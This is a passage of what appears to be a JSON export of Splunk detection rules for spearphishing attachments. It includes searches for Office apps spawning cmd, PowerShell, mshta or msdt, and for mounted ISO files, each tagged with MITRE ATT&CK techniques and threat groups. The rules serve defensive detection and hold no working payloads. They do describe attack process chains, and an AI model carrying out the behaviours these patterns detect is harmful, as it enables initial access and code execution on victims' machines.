"Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows ISO LNK File Creation", - "description": "The following analytic detects the creation of .iso.lnk files in the %USER%\\AppData\\Local\\Temp\\\\ path, indicating that an ISO file has been mounted and accessed. This detection leverages the Endpoint.Filesystem data model, specifically monitoring file creation events in the Windows Recent folder. This activity is significant as it may indicate the delivery and execution of potentially malicious payloads via ISO files. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\Microsoft\\\\Windows\\\\Recent\\\\*\") Filesystem.file_name IN (\"*.iso.lnk\", \"*.img.lnk\", \"*.vhd.lnk\", \"*vhdx.lnk\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iso_lnk_file_creation_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "Azorult", - "Brute Ratel C4", - "IcedID", - "Qakbot", - "Remcos", - "Spearphishing Attachments", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An ISO file was mounted on $dest$ and should be reviewed and filtered as needed.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1204.001", - "mitre_attack_technique": "Malicious Link", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Windows Office Product Spawning MSDT", - "description": "The following analytic detects a Microsoft Office product spawning the Windows msdt.exe process. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where Office applications are the parent process. This activity is significant as it may indicate an attempt to exploit protocol handlers to bypass security controls, even if macros are disabled. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"outlook.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") Processes.process_name=msdt.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_office_product_spawning_msdt_filter`", - "tags": { - "analytic_story": [ - "Microsoft Support Diagnostic Tool Vulnerability CVE-2022-30190", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "Office parent process $parent_process_name$ has spawned a child process $process_name$ on host $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Phishing PDF File Executes URL Link", - "description": "The following analytic detects suspicious PDF viewer processes spawning browser application child processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names. This activity is significant as it may indicate a PDF spear-phishing attempt where a malicious URL link is executed, leading to potential payload download. If confirmed malicious, this could allow attackers to execute code, escalate privileges, or persist in the environment by exploiting the user's browser to connect to a malicious site.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"AcroRd32.exe\", \"FoxitPDFReader.exe\") Processes.process_name IN (\"firefox.exe\", \"chrome.exe\", \"iexplore.exe\") by Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process Processes.process Processes.process_id Processes.dest |`drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_phishing_pdf_file_executes_url_link_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a pdf file opened in pdf viewer process $parent_process_name$ has a child process of a browser $process_name$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Phishing Recent ISO Exec Registry", - "description": "The following analytic detects the creation of registry artifacts when an ISO container is opened, clicked, or mounted on a Windows operating system. It leverages data from the Endpoint.Registry data model, specifically monitoring registry keys related to recent ISO or IMG file executions. This activity is significant as adversaries increasingly use container-based phishing campaigns to bypass macro-based document execution controls. If confirmed malicious, this behavior could indicate an initial access attempt, potentially leading to further exploitation, persistence, or data exfiltration within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_key_name= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RecentDocs\\\\.iso\" OR Registry.registry_key_name= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RecentDocs\\\\.img\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_phishing_recent_iso_exec_registry_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "Brute Ratel C4", - "IcedID", - "Qakbot", - "Remcos", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An ISO file was mounted on $dest$ and should be reviewed and filtered as needed.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Spearphishing Attachment Connect To None MS Office Domain", - "description": "The following analytic identifies suspicious Office documents that connect to non-Microsoft Office domains. It leverages Sysmon EventCode 22 to detect processes like winword.exe or excel.exe making DNS queries to domains outside of *.office.com or *.office.net. This activity is significant as it may indicate a spearphishing attempt using malicious documents to download or connect to harmful content. If confirmed malicious, this could lead to unauthorized data access, malware infection, or further network compromise.", - "search": "`sysmon` EventCode=22 Image IN (\"*\\\\winword.exe\",\"*\\\\excel.exe\",\"*\\\\powerpnt.exe\",\"*\\\\mspub.exe\",\"*\\\\visio.exe\",\"*\\\\wordpad.exe\",\"*\\\\wordview.exe\",\"*\\\\onenote.exe\", \"*\\\\onenotem.exe\",\"*\\\\onenoteviewer.exe\",\"*\\\\onenoteim.exe\", \"*\\\\msaccess.exe\") AND NOT(QueryName IN (\"*.office.com\", \"*.office.net\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryResults QueryStatus Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_spearphishing_attachment_connect_to_none_ms_office_domain_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a office document process $Image$ connect to an URL link $QueryName$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Spearphishing Attachment Onenote Spawn Mshta", - "description": "The following analytic detects OneNote spawning `mshta.exe`, a behavior often associated with spearphishing attacks. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where OneNote is the parent process. This activity is significant as it is commonly used by malware families like TA551, AsyncRat, Redline, and DCRAT to execute malicious scripts. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further malware deployment. Immediate investigation and containment are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"onenote.exe\", \"onenotem.exe\") `process_mshta` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_spearphishing_attachment_onenote_spawn_mshta_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Winword Spawning Cmd", - "description": "The following analytic identifies instances where Microsoft Word (winword.exe) spawns the command prompt (cmd.exe). This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is winword.exe. This activity is significant because it is uncommon and often associated with spearphishing attacks, where malicious attachments execute commands via cmd.exe. If confirmed malicious, this could allow an attacker to execute arbitrary commands, potentially leading to further system compromise, data exfiltration, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=winword.exe `process_cmd` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winword_spawning_cmd_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-21716 Word RTF Heap Corruption", - "DarkCrystal RAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "$parent_process_name$ on $dest$ by $user$ launched command: $process_name$ which is very common in spearphishing attacks.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Winword Spawning PowerShell", - "description": "The following analytic identifies instances where Microsoft Word (winword.exe) spawns a PowerShell process. This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is winword.exe. This activity is significant because it is uncommon and often associated with spearphishing attacks, where malicious documents execute encoded PowerShell commands. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"winword.exe\" `process_powershell` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `winword_spawning_powershell_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-21716 Word RTF Heap Corruption", - "DarkCrystal RAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "$parent_process_name$ on $dest$ by $user$ launched the following powershell process: $process_name$ which is very common in spearphishing attacks", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Winword Spawning Windows Script Host", - "description": "The following analytic identifies instances where Microsoft Winword.exe spawns Windows Script Host processes (cscript.exe or wscript.exe). This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is Winword.exe. This activity is significant because it is uncommon and often associated with spearphishing attacks, where malicious scripts are executed via document macros. If confirmed malicious, this could lead to code execution, allowing attackers to gain initial access, execute further payloads, or establish persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"winword.exe\" Processes.process_name IN (\"cscript.exe\", \"wscript.exe\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winword_spawning_windows_script_host_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-21716 Word RTF Heap Corruption", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "User $user$ on $dest$ spawned Windows Script Host from Winword.exe", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - 